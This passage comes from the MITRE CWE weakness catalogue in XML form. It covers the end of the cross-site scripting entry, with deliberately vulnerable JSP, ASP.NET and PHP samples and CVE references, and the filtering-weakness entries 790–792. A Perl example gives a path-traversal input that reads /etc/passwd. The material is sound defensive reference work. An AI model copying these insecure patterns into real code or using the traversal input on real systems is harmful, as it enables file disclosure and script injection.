						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>JSP</Code_Example_Language>
							              <Code>&lt;%</Code>
							              <Block>
								                <Code>...</Code>
								                <Code>Statement stmt = conn.createStatement();</Code>
								                <Code>ResultSet rs = stmt.executeQuery("select * from emp where
									id="+eid);</Code>
								                <Code>if (rs != null) {</Code>
								                <Block>
									                  <Code>rs.next();</Code>
									                  <Code>String name = rs.getString("name");</Code>
									                  <Code>%&gt;</Code>
								                </Block>
							              </Block>
							              <Code/>
							              <Code>Employee Name: &lt;%= name %&gt;</Code>
						            </Block>
						            <Text>The following ASP.NET code segment queries a database for an employee
							with a given employee ID and prints the name corresponding with the
							ID.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>protected System.Web.UI.WebControls.Label EmployeeName;</Code>
							              <Code>...</Code>
							              <Code>string query = "select * from emp where id=" + eid;</Code>
							              <Code>sda = new SqlDataAdapter(query, conn);</Code>
							              <Code>sda.Fill(dt);</Code>
							              <Code>string name = dt.Rows[0]["Name"];</Code>
							              <Code>...</Code>
							              <Code>EmployeeName.Text = name;</Code>
						            </Block>
						            <Text> This code can appear less dangerous because the value of name is read
							from a database, whose contents are apparently managed by the
							application. However, if the value of name originates from user-supplied
							data, then the database can be a conduit for malicious content. Without
							proper input validation on all data stored in the database, an attacker
							can execute malicious commands in the user's web browser. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following example consists of two separate pages in a web
						application, one devoted to creating user accounts and another devoted to
						listing active users currently logged in. It also displays a Stored XSS
						(Type 2) scenario.</Intro_Text>
					          <Example_Body>
						            <Text>CreateUser.php</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> $username = mysql_real_escape_string($username);</Code>
							              <Code> $fullName = mysql_real_escape_string($fullName);</Code>
							              <Code> $query = sprintf('Insert Into users (username,password) Values
								("%s","%s","%s")', $username, crypt($password),$fullName) ;</Code>
							              <Code> mysql_query($query);</Code>
							              <Code>/.../</Code>
						            </Block>
						            <Text>The code is careful to avoid a SQL injection attack (CWE-89) but does
							not stop valid HTML from being stored in the database. This can be
							exploited later when ListUsers.php retrieves the information:</Text>
						            <Text>ListUsers.php</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code>$query = 'Select * From users Where loggedIn=true';</Code>
							              <Code>$results = mysql_query($query);</Code>
							              <Code> if (!$results) {</Code>
							              <Block>
								                <Code>exit;</Code>
							              </Block>
							              <Code> }</Code>
							              <Comment>//Print list of users to page</Comment>
							              <Code> echo '&lt;div id="userlist"&gt;Currently Active
								Users:';</Code>
							              <Code> while ($row = mysql_fetch_assoc($results)) {</Code>
							              <Block>
								                <Code> echo '&lt;div
									class="userNames"&gt;'.$row['fullname'].'&lt;/div&gt;';</Code>
							              </Block>
							              <Code> }</Code>
							              <Code> echo '&lt;/div&gt;';</Code>
						            </Block>
						            <Text>The attacker can set his name to be arbitrary HTML, which will then be
							displayed to all visitors of the Active Users page. This HTML can, for
							example, be a password stealing Login message. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5080</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: protection mechanism failure allows
						XSS</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4308</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: only checks "javascript:"
						tag</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5727</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: only removes SCRIPT tags, enabling
						XSS</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5770</Observed_Example_Reference>
					          <Observed_Example_Description>Reflected XSS using the PATH_INFO in a
						URL</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4730</Observed_Example_Reference>
					          <Observed_Example_Description>Reflected XSS not properly handled when generating
						an error message</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5734</Observed_Example_Reference>
					          <Observed_Example_Description>Reflected XSS sent through email
						message.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0971</Observed_Example_Reference>
					          <Observed_Example_Description>Stored XSS in a security
						product.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5249</Observed_Example_Reference>
					          <Observed_Example_Description>Stored XSS using a wiki
						page.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-3568</Observed_Example_Reference>
					          <Observed_Example_Description>Stored XSS in a guestbook
						application.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-3211</Observed_Example_Reference>
					          <Observed_Example_Description>Stored XSS in a guestbook application using a
						javascript: URI in a bbcode img tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-3295</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: library file is not protected against a
						direct request (CWE-425), leading to reflected
						XSS.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-15" Local_Reference_ID="R.79.1">
					          <Reference_Author>Jeremiah Grossman</Reference_Author>
					          <Reference_Author>Robert "RSnake" Hansen</Reference_Author>
					          <Reference_Author>Petko "pdp" D. Petkov</Reference_Author>
					          <Reference_Author>Anton Rager</Reference_Author>
					          <Reference_Author>Seth Fogie</Reference_Author>
					          <Reference_Title>XSS Attacks</Reference_Title>
					          <Reference_Publisher>Syngress</Reference_Publisher>
					          <Reference_PubDate>2007</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.79.2">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and
						Response Splitting)." Page 31</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.79.3">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 3: Web-Client Related Vulnerabilities (XSS)." Page
						63</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.79.4">
					          <Reference_Title>Cross-site scripting</Reference_Title>
					          <Reference_Publisher>Wikipedia</Reference_Publisher>
					          <Reference_Date>2008-08-26</Reference_Date>
					          <Reference_Link>http://en.wikipedia.org/wiki/Cross-site_scripting</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.79.5">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 13, "Web-Specific Input Issues" Page
						413</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-14" Local_Reference_ID="R.79.6">
					          <Reference_Author>RSnake</Reference_Author>
					          <Reference_Title>XSS (Cross Site Scripting) Cheat Sheet</Reference_Title>
					          <Reference_Link>http://ha.ckers.org/xss.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.79.7">
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Mitigating Cross-site Scripting With HTTP-only
						Cookies</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ms533046.aspx</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.79.8">
					          <Reference_Author>Mark Curphey, Microsoft</Reference_Author>
					          <Reference_Title>Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now
						Live!</Reference_Title>
					          <Reference_Link>http://blogs.msdn.com/cisg/archive/2008/12/15/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-21" Local_Reference_ID="R.79.9">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.79.10">
					          <Reference_Author>Ivan Ristic</Reference_Author>
					          <Reference_Title>XSS Defense HOWTO</Reference_Title>
					          <Reference_Link>http://blog.modsecurity.org/2008/07/do-you-know-how.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.79.11">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Web Application Firewall</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Web_Application_Firewall</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.79.12">
					          <Reference_Author>Web Application Security Consortium</Reference_Author>
					          <Reference_Title>Web Application Firewall Evaluation Criteria</Reference_Title>
					          <Reference_Link>http://www.webappsec.org/projects/wafec/v1/wasc-wafec-v1.0.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.79.13">
					          <Reference_Author>RSnake</Reference_Author>
					          <Reference_Title>Firefox Implements httpOnly And is Vulnerable to
						XMLHTTPRequest</Reference_Title>
					          <Reference_Date>2007-07-19</Reference_Date>
				        </Reference>
				        <Reference Local_Reference_ID="R.79.14">
					          <Reference_Title>XMLHttpRequest allows reading HTTPOnly
						cookies</Reference_Title>
					          <Reference_Publisher>Mozilla</Reference_Publisher>
					          <Reference_Link>https://bugzilla.mozilla.org/show_bug.cgi?id=380418</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.79.15">
					          <Reference_Title>Apache Wicket</Reference_Title>
					          <Reference_Link>http://wicket.apache.org/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-16" Local_Reference_ID="R.79.16">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>XSS (Cross Site Scripting) Prevention Cheat
						Sheet</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-20" Local_Reference_ID="R.79.17">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>DOM based XSS Prevention Cheat Sheet</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.79.18">
					          <Reference_Author>Jason Lam</Reference_Author>
					          <Reference_Title>Top 25 series - Rank 1 - Cross Site Scripting</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-02-22</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/02/22/top-25-series-rank-1-cross-site-scripting/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.79.19">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 17, "Cross Site Scripting", Page
						1071.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Cross-site scripting (XSS)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Cross-site Scripting</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Cross-site scripting</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Cross Site Scripting (XSS)</Mapped_Node_Name>
					          <Mapped_Node_ID>A1</Mapped_Node_ID>
					          <Mapping_Fit>Exact</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Unvalidated Input</Mapped_Node_Name>
					          <Mapped_Node_ID>A1</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Cross-Site Scripting (XSS) Flaws</Mapped_Node_Name>
					          <Mapped_Node_ID>A4</Mapped_Node_ID>
					          <Mapping_Fit>Exact</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Cross-site Scripting </Mapped_Node_Name>
					          <Mapped_Node_ID>8</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>232</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>106</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>19</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>198</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>199</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>209</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>243</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>244</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>245</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>246</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>247</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>32</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>63</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>85</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>86</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>91</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Background_Details, Common_Consequences, Description, Relationships,
						Other_Notes, References, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Background_Details, Common_Consequences, Demonstrative_Examples,
						Description, Detection_Factors, Enabling_Factors_for_Exploitation, Name,
						Observed_Examples, Other_Notes, Potential_Mitigations, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Detection_Factors, Enabling_Factors_for_Exploitation,
						Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Detection_Factors,
						Potential_Mitigations, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Potential_Mitigations,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Name,
						Potential_Mitigations, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Detection_Factors,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Cross-site Scripting
						(XSS)</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Failure to Sanitize
						Directives in a Web Page (aka 'Cross-site scripting'
						(XSS))</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Preserve Web Page
						Structure (aka 'Cross-site Scripting')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Failure to Preserve Web Page
						Structure ('Cross-site Scripting')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="790" Name="Improper Filtering of Special Elements" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives data from an upstream component, but does
					not filter or incorrectly filters special elements before sending it to a
					downstream component.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-2">
					          <Intro_Text>The following code takes untrusted input and uses a regular
						expression to filter "../" from the input. It then appends this result to
						the /home/user/ directory and attempts to read the file in the final
						resulting path.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $Username = GetUntrustedInput();</Code>
							              <Code>$Username =~ s/\.\.\///;</Code>
							              <Code>my $filename = "/home/user/" . $Username;</Code>
							              <Code>ReadAndSendFile($filename);</Code>
						            </Block>
						            <Text>Since the regular expression does not have the /g global match
							modifier, it only removes the first instance of "../" it comes across.
							So an input value such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>../../../etc/passwd</Code>
						            </Block>
						            <Text>will have the first "../" stripped, resulting in:</Text>
						            <Block Block_Nature="Result">
							              <Code>../../etc/passwd</Code>
						            </Block>
						            <Text>This value is then concatenated with the /home/user/ directory:</Text>
						            <Block Block_Nature="Result">
							              <Code>/home/user/../../etc/passwd</Code>
						            </Block>
						            <Text>which causes the /etc/passwd file to be retrieved once the operating
							system has resolved the ../ sequences in the pathname. This leads to
							relative path traversal (CWE-23).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-12-04</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="791" Name="Incomplete Filtering of Special Elements" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives data from an upstream component, but does
					not completely filter special elements before sending it to a downstream
					component.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>790</Relationship_Target_ID>
					          <!--Improper Filtering of Special Elements-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-2">
					          <Intro_Text>The following code takes untrusted input and uses a regular
						expression to filter "../" from the input. It then appends this result to
						the /home/user/ directory and attempts to read the file in the final
						resulting path.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $Username = GetUntrustedInput();</Code>
							              <Code>$Username =~ s/\.\.\///;</Code>
							              <Code>my $filename = "/home/user/" . $Username;</Code>
							              <Code>ReadAndSendFile($filename);</Code>
						            </Block>
						            <Text>Since the regular expression does not have the /g global match
							modifier, it only removes the first instance of "../" it comes across.
							So an input value such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>../../../etc/passwd</Code>
						            </Block>
						            <Text>will have the first "../" stripped, resulting in:</Text>
						            <Block Block_Nature="Result">
							              <Code>../../etc/passwd</Code>
						            </Block>
						            <Text>This value is then concatenated with the /home/user/ directory:</Text>
						            <Block Block_Nature="Result">
							              <Code>/home/user/../../etc/passwd</Code>
						            </Block>
						            <Text>which causes the /etc/passwd file to be retrieved once the operating
							system has resolved the ../ sequences in the pathname. This leads to
							relative path traversal (CWE-23).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-12-04</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="792" Name="Incomplete Filtering of One or More Instances of Special Elements" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives data from an upstream component, but does
					not completely filter one or more instances of special elements before sending
					it to a downstream component.</Description_Summary>
				        <Extended_Description>
					          <Text>Incomplete filtering of this nature involves either</Text>
					          <Block Block_Nature="List">
						            <Text>only filtering a single instance of a special element when more exist,
							or</Text>
						            <Text>not filtering all instances or all elements where multiple special
							elements exist.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
